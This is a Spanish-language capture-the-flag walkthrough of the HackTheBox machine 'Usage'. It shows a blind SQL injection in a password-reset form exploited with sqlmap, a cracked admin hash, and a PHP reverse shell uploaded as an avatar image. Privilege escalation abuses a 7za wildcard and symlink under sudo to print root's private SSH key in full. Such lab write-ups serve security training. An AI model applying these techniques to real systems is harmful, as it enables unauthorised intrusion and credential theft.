Usage es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Usage 10.129.11.192 a /etc/hosts como usage.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.11.192 Nmap scan report for 10.129.11.192 Host is up, received echo-reply ttl 63 (0.053s latency). Scanned at 2024-04-16 22:53:31 CEST for 12s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Tue Apr 16 22:53:43 2024 -- 1 IP address (1 host up) scanned in 12.87 seconds |
Detectados los puertos abiertos, analizamos más detenidamente los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.129.11.192 Nmap scan report for usage.htb (10.129.11.192) Host is up (0.048s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA) |_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Daily Blogs |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Apr 16 22:56:24 2024 -- 1 IP address (1 host up) scanned in 8.38 seconds |
Enumeración
Accedemos al portal web del puerto 80 donde vemos la siguiente ventana y un enlace al dominio admin.usage.htb que añadiremos al fichero hosts
Navegamos por la página, creamos una cuenta y revisamos todo con calma pero no parece que podamos hacer gran cosa, pero cuando parecía perdido encontramos que el formulario de reseteo de password es vulnerable a SQLi, así que interceptamos la petición con burp y guardamos la misma en un fichero, y atacamos con sqlmap
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
$ sqlmap -r reset-password.req --dbs --batch --risk 2 --level 2 --dbms mysql ... POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 299 HTTP(s) requests: --- Parameter: email (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: _token=CyieXjdPKbCD8IQmxCUT9OAYCs9qAvvWbPSJ4azj&email=test' AND 3857=(SELECT (CASE WHEN (3857=3857) THEN 3857 ELSE (SELECT 9369 UNION SELECT 3593) END))-- - --- [23:28:37] [INFO] testing MySQL [23:28:37] [INFO] confirming MySQL [23:28:38] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Nginx 1.18.0 back-end DBMS: MySQL >= 8.0.0 [23:28:38] [INFO] fetching database names [23:28:38] [INFO] fetching number of databases [23:28:38] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [23:28:38] [INFO] retrieved: 3 [23:28:39] [INFO] retrieved: information_schema [23:29:03] [INFO] retrieved: performance_schema [23:29:26] [INFO] retrieved: usage_blog available databases [3]: [*] information_schema [*] performance_schema [*] usage_blog ... |
Vistas las posibilidades, ya tenemos las bases de datos, vamos por las tablas de la ddbb usage_blog
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ sqlmap -r reset-password.req --batch --risk 2 --level 2 --dbms mysql -D usage_blog --tables ... Database: usage_blog [15 tables] +------------------------+ | admin_menu | | admin_operation_log | | admin_permissions | | admin_role_menu | | admin_role_permissions | | admin_role_users | | admin_roles | | admin_user_permissions | | admin_users | | blog | | failed_jobs | | migrations | | password_reset_tokens | | personal_access_tokens | | users | +------------------------+ ... |
Y los usuarios
|
1 2 3 4 5 6 7 8 9 10 11 |
$ sqlmap -r reset-password.req --batch --risk 2 --level 2 --dbms mysql -D usage_blog -T admin_users --dump ... Database: usage_blog Table: admin_users [1 entry] +----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+ | id | name | avatar | password | username | created_at | updated_at | remember_token | +----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+ | 1 | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT | +----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+ ... |
Tenemos el hash del usuario administrator, así que vamos a tratar de romperlo con hashcat
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ hashcat -m 3200 admin.hash /usr/share/wordlists/rockyou.txt --force ... $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1 Session..........: hashcat Status...........: Cracked Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix)) Hash.Target......: $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH...fUPrL2 Time.Started.....: Tue Apr 16 23:38:34 2024, (12 secs) Time.Estimated...: Tue Apr 16 23:38:46 2024, (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 157 H/s (3.66ms) @ Accel:16 Loops:2 Thr:1 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 1792/14344385 (0.01%) Rejected.........: 0/1792 (0.00%) Restore.Point....: 1536/14344385 (0.01%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1022-1024 Candidate.Engine.: Device Generator Candidates.#1....: clover -> divina Hardware.Mon.#1..: Temp: 60c Util: 90% ... |
Y ya tenemos unas credenciales válidas, que utilizaremos para acceder al panel de admin
Revisamos el portal y encontramos una falla en el perfil del usuario
Y es posible subir una revshell a través del avatar del usuario, así que subimos un fichero jpg con una revshell en php y modificaremos la petición al vuelo con burp
Una vez subido, obtendremos una revshell con el usuario dash
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.137] from (UNKNOWN) [10.129.11.192] 48914 Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux 21:56:05 up 11:04, 0 users, load average: 0.02, 0.01, 0.01 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1000(dash) gid=1000(dash) groups=1000(dash) /bin/sh: 0: can't access tty; job control turned off $ whoami dash $ |
Obteniendo la flag de user
Y en la home de este, la primera flag
|
1 2 3 4 5 |
$ ls -l total 4 -rw-r----- 1 root dash 33 Apr 16 10:52 user.txt $ cat user.txt 62919c2f1095f2fc3ad8aab3c6b90b01 |
Escalado de privilegios
Revisamos la home del usuario y encontramos un fichero oculto con credenciales
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ cat .monitrc #Monitoring Interval in Seconds set daemon 60 #Enable Web Access set httpd port 2812 use address 127.0.0.1 allow admin:3nc0d3d_pa$$w0rd #Apache check process apache with pidfile "/var/run/apache2/apache2.pid" if cpu > 80% for 2 cycles then alert #System Monitoring check system usage if memory usage > 80% for 2 cycles then alert if cpu usage (user) > 70% for 2 cycles then alert if cpu usage (system) > 30% then alert if cpu usage (wait) > 20% then alert if loadavg (1min) > 6 for 2 cycles then alert if loadavg (5min) > 4 for 2 cycles then alert if swap usage > 5% then alert check filesystem rootfs with path / if space usage > 80% then alert $ |
Probamos las mismas y conseguimos entrar por ssh con el usuario xander
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
$ ssh xander@usage.htb xander@usage.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Tue Apr 16 09:58:42 PM UTC 2024 System load: 0.02685546875 Usage of /: 65.4% of 6.53GB Memory usage: 21% Swap usage: 0% Processes: 225 Users logged in: 0 IPv4 address for eth0: 10.129.11.192 IPv6 address for eth0: dead:beef::250:56ff:fe94:fb02 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Tue Apr 16 21:58:43 2024 from 10.10.14.137 xander@usage:~$ id uid=1001(xander) gid=1001(xander) groups=1001(xander) xander@usage:~$ |
Comprobamos los permisos del usuario y puede ejecutar un binario como root
|
1 2 3 4 5 6 |
xander@usage:~$ sudo -l Matching Defaults entries for xander on usage: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User xander may run the following commands on usage: (ALL : ALL) NOPASSWD: /usr/bin/usage_management |
El cual verificamos que tipo de fichero es
|
1 2 |
xander@usage:~$ file /usr/bin/usage_management /usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped |
Y revisamos de forma rápida con strings
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
xander@usage:~$ strings /usr/bin/usage_management /lib64/ld-linux-x86-64.so.2 chdir __cxa_finalize __libc_start_main puts system __isoc99_scanf perror printf libc.so.6 GLIBC_2.7 GLIBC_2.2.5 GLIBC_2.34 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable PTE1 u+UH /var/www/html /usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- * Error changing working directory to /var/www/html /usr/bin/mysqldump -A > /var/backups/mysql_backup.sql Password has been reset. Choose an option: 1. Project Backup 2. Backup MySQL data 3. Reset admin password Enter your choice (1/2/3): Invalid choice. |
Viendo el código obtenido desde el comando strings, el script hace un backup de la ruta /var/www/html, así que vamos a conseguir la clave ssh de root añadiendo un fichero @filename y un enlace al fichero que deseamos obtener
|
1 2 |
xander@usage:/var/www/html$ touch @id_rsa xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa id_rsa |
Una vez hecho, ejecutamos y nos mostrará por pantalla el fichero que esperábamos obtener
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
xander@usage:/var/www/html$ sudo /usr/bin/usage_management Choose an option: 1. Project Backup 2. Backup MySQL data 3. Reset admin password Enter your choice (1/2/3): 1 7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI) Open archive: /var/backups/project.zip -- Path = /var/backups/project.zip Type = zip Physical Size = 54841751 Scanning the drive: WARNING: No more files -----BEGIN OPENSSH PRIVATE KEY----- WARNING: No more files b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW WARNING: No more files QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi WARNING: No more files QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q WARNING: No more files AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs WARNING: No more files H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= WARNING: No more files -----END OPENSSH PRIVATE KEY----- WARNING: No more files 2984 folders, 17975 files, 113884599 bytes (109 MiB) Updating archive: /var/backups/project.zip Items to compress: 20959 Files read from disk: 17975 Archive size: 54841893 bytes (53 MiB) Scan WARNINGS for files and folders: -----BEGIN OPENSSH PRIVATE KEY----- : No more files b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files -----END OPENSSH PRIVATE KEY----- : No more files ---------------- Scan WARNINGS: 8 |
Y conectamos por ssh con la clave que acabamos de conseguir
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$ ssh -i root.pem root@usage.htb Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Tue Apr 16 10:09:50 PM UTC 2024 System load: 0.11572265625 Usage of /: 70.8% of 6.53GB Memory usage: 23% Swap usage: 0% Processes: 229 Users logged in: 1 IPv4 address for eth0: 10.129.11.192 IPv6 address for eth0: dead:beef::250:56ff:fe94:fb02 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Mon Apr 8 13:17:47 2024 from 10.10.14.40 root@usage:~# id uid=0(root) gid=0(root) groups=0(root) root@usage:~# |
Obteniendo la flag de root
Como último paso, cogemos nuestra flag
|
1 2 3 |
root@usage:~# cat /root/root.txt 5a25de5ba49505fa73a45bb50fc49e2d root@usage:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
